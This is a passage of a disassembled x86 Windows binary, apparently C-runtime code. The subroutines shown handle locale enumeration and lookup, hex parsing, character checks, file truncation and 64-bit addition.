[ebp+arg_0] push eax call sub_430A50 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBE0 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call dword_4EFBF4 test eax, eax jnz short loc_4304F4 mov dword_4EFBEC, 0 mov eax, 1 jmp loc_4305B9 ; --------------------------------------------------------------------------- loc_4304F4: ; CODE XREF: sub_4304A0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBE4 push edx call sub_41DBF0 add esp, 8 test eax, eax jnz short loc_430549 cmp dword_4EFBE0, 0 jnz short loc_430526 push 1 mov eax, [ebp+var_7C] push eax call sub_4307E0 add esp, 8 test eax, eax jz short loc_430547 loc_430526: ; CODE XREF: sub_4304A0+72j mov ecx, [ebp+var_7C] mov dword_4EFBF0, ecx mov edx, dword_4EFBF0 mov dword_4EFBD4, edx mov eax, dword_4EFBEC or al, 4 mov dword_4EFBEC, eax loc_430547: ; CODE XREF: sub_4304A0+84j jmp short loc_4305AC ; --------------------------------------------------------------------------- loc_430549: ; CODE XREF: sub_4304A0+69j cmp dword_4EFBE0, 0 jnz short loc_4305AC cmp dword_4EFBDC, 0 jz short loc_4305AC mov ecx, dword_4EFBDC push ecx lea edx, [ebp+var_78] push edx mov eax, dword_4EFBE4 push eax call sub_433E00 add esp, 0Ch test eax, eax jnz short loc_4305AC push 0 mov ecx, [ebp+var_7C] push ecx call sub_4307E0 add esp, 8 test eax, eax jz short loc_4305AC mov edx, [ebp+var_7C] mov dword_4EFBF0, edx mov eax, dword_4EFBF0 mov dword_4EFBD4, eax mov ecx, dword_4EFBEC or ecx, 4 mov dword_4EFBEC, ecx loc_4305AC: ; CODE XREF: sub_4304A0:loc_430547j ; sub_4304A0+B0j ... mov eax, dword_4EFBEC and eax, 4 neg eax sbb eax, eax inc eax loc_4305B9: ; CODE XREF: sub_4304A0+4Fj mov esp, ebp pop ebp retn 4 sub_4304A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4305C0 proc near ; CODE XREF: sub_42FDA0+102p push ebp mov ebp, esp mov eax, dword_4EFBE8 push eax call sub_418D00 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4EFBD8, ecx push 1 push offset sub_430610 call dword_4F12D8 ; EnumSystemLocalesA mov edx, dword_4EFBEC and edx, 4 test edx, edx jnz short loc_430603 mov dword_4EFBEC, 0 loc_430603: ; CODE XREF: sub_4305C0+37j pop ebp retn sub_4305C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430610 proc near ; DATA XREF: sub_4305C0+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_430A50 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBD8 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4EFBF4 test eax, eax jnz short loc_430661 mov dword_4EFBEC, 0 mov eax, 1 jmp short loc_4306B6 ; --------------------------------------------------------------------------- loc_430661: ; CODE XREF: sub_430610+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBE8 push edx call sub_41DBF0 add esp, 8 test eax, eax jnz short loc_4306A9 mov eax, [ebp+var_7C] push eax call sub_430790 add esp, 4 test eax, eax jz short loc_4306A9 mov ecx, [ebp+var_7C] mov dword_4EFBF0, ecx mov edx, dword_4EFBF0 mov dword_4EFBD4, edx mov eax, dword_4EFBEC or al, 4 mov dword_4EFBEC, eax loc_4306A9: ; CODE XREF: sub_430610+66j ; sub_430610+76j mov eax, dword_4EFBEC and eax, 4 neg eax sbb eax, eax inc eax loc_4306B6: ; CODE XREF: sub_430610+4Fj mov esp, ebp pop ebp retn 4 sub_430610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306C0 proc near ; CODE XREF: sub_42FDA0+38p ; sub_42FDA0:loc_42FEA9p push ebp mov ebp, esp mov eax, dword_4EFBEC or eax, 104h mov dword_4EFBEC, eax call dword_4F12D4 ; GetUserDefaultLCID mov dword_4EFBF0, eax mov ecx, dword_4EFBF0 mov dword_4EFBD4, ecx pop ebp retn sub_4306C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306F0 proc near ; CODE XREF: sub_42FDA0+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_43071B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_43071B push offset off_438D74 mov edx, [ebp+arg_0] push edx call sub_41C4C0 add esp, 8 test eax, eax jnz short loc_430743 loc_43071B: ; CODE XREF: sub_4306F0+Aj ; sub_4306F0+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, dword_4EFBF0 push ecx call dword_4EFBF4 test eax, eax jnz short loc_43073B xor eax, eax jmp short loc_430787 ; --------------------------------------------------------------------------- loc_43073B: ; CODE XREF: sub_4306F0+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_43077B ; --------------------------------------------------------------------------- loc_430743: ; CODE XREF: sub_4306F0+29j push offset off_438D70 mov eax, [ebp+arg_0] push eax call sub_41C4C0 add esp, 8 test eax, eax jnz short loc_43077B push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, dword_4EFBF0 push edx call dword_4EFBF4 test eax, eax jnz short loc_430775 xor eax, eax jmp short loc_430787 ; --------------------------------------------------------------------------- loc_430775: ; CODE XREF: sub_4306F0+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_43077B: ; CODE XREF: sub_4306F0+51j ; sub_4306F0+66j mov ecx, [ebp+arg_0] push ecx call sub_41B2F0 add esp, 4 loc_430787: ; CODE XREF: sub_4306F0+49j ; sub_4306F0+83j mov esp, ebp pop ebp retn sub_4306F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430790 proc near ; CODE XREF: sub_4300F0+16Ep ; sub_430610+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_4307B0 ; --------------------------------------------------------------------------- loc_4307A7: ; CODE XREF: sub_430790:loc_4307D4j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4307B0: ; CODE XREF: sub_430790+15j cmp [ebp+var_8], 0Ah jnb short loc_4307D6 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, word_452314[eax*2] cmp edx, ecx jnz short loc_4307D4 xor eax, eax jmp short loc_4307DB ; --------------------------------------------------------------------------- loc_4307D4: ; CODE XREF: sub_430790+3Ej jmp short loc_4307A7 ; --------------------------------------------------------------------------- loc_4307D6: ; CODE XREF: sub_430790+24j mov eax, 1 loc_4307DB: ; CODE XREF: sub_430790+42j mov esp, ebp pop ebp retn sub_430790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307E0 proc near ; CODE XREF: sub_4300F0+260p ; sub_4300F0+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call dword_4EFBF4 test eax, eax jnz short loc_43081E xor eax, eax jmp short loc_430862 ; --------------------------------------------------------------------------- loc_43081E: ; CODE XREF: sub_4307E0+38j lea eax, [ebp+var_7C] push eax call sub_430A50 add esp, 4 cmp [ebp+arg_0], eax jz short loc_43085D cmp [ebp+arg_4], 0 jz short loc_43085D mov ecx, dword_4EFBE4 push ecx call sub_430AD0 add esp, 4 mov esi, eax mov edx, dword_4EFBE4 push edx call sub_418D00 add esp, 4 cmp esi, eax jnz short loc_43085D xor eax, eax jmp short loc_430862 ; --------------------------------------------------------------------------- loc_43085D: ; CODE XREF: sub_4307E0+4Dj ; sub_4307E0+53j ... mov eax, 1 loc_430862: ; CODE XREF: sub_4307E0+3Cj ; sub_4307E0+7Bj pop esi mov esp, ebp pop ebp retn sub_4307E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430870 proc near ; CODE XREF: sub_42FDA0+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call dword_4F1384 ; GetVersionExA test eax, eax jz short loc_4308A9 cmp [ebp+var_84], 2 jnz short loc_4308A9 mov [ebp+var_98], 1 jmp short loc_4308B3 ; --------------------------------------------------------------------------- loc_4308A9: ; CODE XREF: sub_430870+22j ; sub_430870+2Bj mov [ebp+var_98], 0 loc_4308B3: ; CODE XREF: sub_430870+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_430870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4308C0 proc near ; DATA XREF: sub_42FDA0:loc_42FDC2o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_4308DB: ; CODE XREF: sub_4308C0:loc_430A23j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_430A28 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, dword_451E70[ecx] jnz loc_4309FE mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_430937 cmp [ebp+var_14], 0Bh jz loc_4309A9 cmp [ebp+var_14], 1 jz short loc_430954 cmp [ebp+var_14], 3 jz short loc_430976 cmp [ebp+var_14], 7 jz short loc_430998 jmp loc_4309C8 ; --------------------------------------------------------------------------- loc_430937: ; CODE XREF: sub_4308C0+54j cmp [ebp+var_14], 1001h jz short loc_430965 cmp [ebp+var_14], 1002h jz short loc_430987 cmp [ebp+var_14], 1004h jz short loc_4309BA jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_430954: ; CODE XREF: sub_4308C0+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_430965: ; CODE XREF: sub_4308C0+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_451E7C[edx] mov [ebp+var_8], eax jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_430976: ; CODE XREF: sub_4308C0+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_451E80 mov [ebp+var_8], ecx jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_430987: ; CODE XREF: sub_4308C0+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_451E84[edx] mov [ebp+var_8], eax jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_430998: ; CODE XREF: sub_4308C0+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_451E88 mov [ebp+var_8], ecx jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_4309A9: ; CODE XREF: sub_4308C0+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_451E8C mov [ebp+var_8], edx jmp short loc_4309C8 ; --------------------------------------------------------------------------- loc_4309BA: ; CODE XREF: sub_4308C0+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_4309C8: ; CODE XREF: sub_4308C0+72j ; sub_4308C0+92j ... cmp [ebp+var_8], 0 jz short loc_4309D4 cmp [ebp+arg_C], 1 jge short loc_4309D6 loc_4309D4: ; CODE XREF: sub_4308C0+10Cj jmp short loc_430A28 ; --------------------------------------------------------------------------- loc_4309D6: ; CODE XREF: sub_4308C0+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_41B1F0 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_430A3E ; --------------------------------------------------------------------------- loc_4309FE: ; CODE XREF: sub_4308C0+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, dword_451E70[edx] jnb short loc_430A1A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_430A23 ; --------------------------------------------------------------------------- loc_430A1A: ; CODE XREF: sub_4308C0+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_430A23: ; CODE XREF: sub_4308C0+158j jmp loc_4308DB ; --------------------------------------------------------------------------- loc_430A28: ; CODE XREF: sub_4308C0+21j ; sub_4308C0:loc_4309D4j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F1380 ; GetLocaleInfoA loc_430A3E: ; CODE XREF: sub_4308C0+13Cj mov esp, ebp pop ebp retn 10h sub_4308C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A50 proc near ; CODE XREF: sub_4300F0+Ap ; sub_4304A0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_430A5D: ; CODE XREF: sub_430A50+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_430ABF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_430A92 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_430A92 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_430AAC ; --------------------------------------------------------------------------- loc_430A92: ; CODE XREF: sub_430A50+2Dj ; sub_430A50+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_430AAC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_430AAC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_430AAC: ; CODE XREF: sub_430A50+40j ; sub_430A50+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_430A5D ; --------------------------------------------------------------------------- loc_430ABF: ; CODE XREF: sub_430A50+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_430A50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430AD0 proc near ; CODE XREF: sub_430030+60p ; sub_430420+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_430AEE: ; CODE XREF: sub_430AD0+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_430B00 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_430B12 loc_430B00: ; CODE XREF: sub_430AD0+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_430B2E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_430B2E loc_430B12: ; CODE XREF: sub_430AD0+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_430AEE ; --------------------------------------------------------------------------- loc_430B2E: ; CODE XREF: sub_430AD0+37j ; sub_430AD0+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_430AD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430C40 proc near ; CODE XREF: sub_429CD0+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_430CC0 add esp, 0Ch pop ebp retn sub_430C40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4EFD4C, 3A4h jnz short loc_430CAD push 3 push 0 mov eax, [ebp+8] push eax call sub_430CC0 add esp, 0Ch test eax, eax jz short loc_430CAD mov dword ptr [ebp-4], 1 jmp short loc_430CB4 ; --------------------------------------------------------------------------- loc_430CAD: ; CODE XREF: .nsp0:00430C8Ej ; .nsp0:00430CA2j mov dword ptr [ebp-4], 0 loc_430CB4: ; CODE XREF: .nsp0:00430CABj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430CC0 proc near ; CODE XREF: .nsp0:00430B4Bp ; .nsp0:00430B6Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4EFE61[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_430D14 cmp [ebp+arg_4], 0 jz short loc_430CFE mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word_4514A6[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_430D05 ; --------------------------------------------------------------------------- loc_430CFE: ; CODE XREF: sub_430CC0+27j mov [ebp+var_4], 0 loc_430D05: ; CODE XREF: sub_430CC0+3Cj cmp [ebp+var_4], 0 jnz short loc_430D14 mov [ebp+var_8], 0 jmp short loc_430D1B ; --------------------------------------------------------------------------- loc_430D14: ; CODE XREF: sub_430CC0+21j ; sub_430CC0+49j mov [ebp+var_8], 1 loc_430D1B: ; CODE XREF: sub_430CC0+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_430CC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4EFD40 jnb short loc_430D61 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_430D71 loc_430D61: ; CODE XREF: .nsp0:00430D3Dj call sub_4248A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_430D9F ; --------------------------------------------------------------------------- loc_430D71: ; CODE XREF: .nsp0:00430D5Fj mov edx, [ebp+8] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_430DB0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_42BCE0 add esp, 4 mov eax, [ebp-4] loc_430D9F: ; CODE XREF: .nsp0:00430D6Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430DB0 proc near ; CODE XREF: sub_42C3D0+44Cp ; .nsp0:00430D85p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_41BC60 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_430DD6: ; CODE XREF: sub_430DB0+51j cmp [ebp+arg_4], 0 jge short loc_430DFD push offset dword_438D84 push 0 push 81h push offset dword_438D78 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_430DFD int 3 ; Trap to Debugger loc_430DFD: ; CODE XREF: sub_430DB0+2Aj ; sub_430DB0+4Aj xor ecx, ecx test ecx, ecx jnz short loc_430DD6 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_429380 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_430E41 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_429380 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_430E49 loc_430E41: ; CODE XREF: sub_430DB0+70j or eax, 0FFFFFFFFh jmp loc_430FD9 ; --------------------------------------------------------------------------- loc_430E49: ; CODE XREF: sub_430DB0+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_430F60 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_41B190 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_433F90 add esp, 8 mov [ebp+var_4], eax loc_430E8F: ; CODE XREF: sub_430DB0+198j cmp [ebp+var_1018], 1000h jl short loc_430EA7 mov [ebp+var_1020], 1000h jmp short loc_430EB3 ; --------------------------------------------------------------------------- loc_430EA7: ; CODE XREF: sub_430DB0+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_430EB3: ; CODE XREF: sub_430DB0+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_430ED7 mov [ebp+var_1024], 1000h jmp short loc_430EE3 ; --------------------------------------------------------------------------- loc_430ED7: ; CODE XREF: sub_430DB0+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_430EE3: ; CODE XREF: sub_430DB0+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_42BE80 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_430F2F call sub_4248B0 cmp dword ptr [eax], 5 jnz short loc_430F21 call sub_4248A0 mov dword ptr [eax], 0Dh loc_430F21: ; CODE XREF: sub_430DB0+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_430F4E ; --------------------------------------------------------------------------- loc_430F2F: ; CODE XREF: sub_430DB0+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_430E8F loc_430F4E: ; CODE XREF: sub_430DB0+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_433F90 add esp, 8 jmp short loc_430FBE ; --------------------------------------------------------------------------- loc_430F60: ; CODE XREF: sub_430DB0+AFj cmp [ebp+var_1018], 0 jge short loc_430FBE push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_429380 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_42BAD0 add esp, 4 push eax call dword_4F12D0 ; SetEndOfFile neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_430FBE call sub_4248A0 mov dword ptr [eax], 0Dh call dword_4F1348 ; RtlGetLastWin32Error mov esi, eax call sub_4248B0 mov [eax], esi loc_430FBE: ; CODE XREF: sub_430DB0+1AEj ; sub_430DB0+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_429380 add esp, 0Ch mov eax, [ebp+var_101C] loc_430FD9: ; CODE XREF: sub_430DB0+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_430DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430FE0 proc near ; CODE XREF: sub_42D380+53p ; sub_42D380+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_431006 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_43100F loc_431006: ; CODE XREF: sub_430FE0+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43100F: ; CODE XREF: sub_430FE0+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_430FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431020 proc near ; CODE XREF: sub_4311A0+77p ; sub_4311A0+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_430FE0 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_431077 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_430FE0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_431077 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_431077: ; CODE XREF: sub_431020+25j ; sub_431020+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_430FE0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4310AC mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_4310AC: ; CODE XREF: sub_431020+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_430FE0 add esp, 0Ch mov esp, ebp pop ebp retn sub_431020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4310D0 proc near ; CODE XREF: sub_4311A0+5Bp ; sub_4311A0+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, 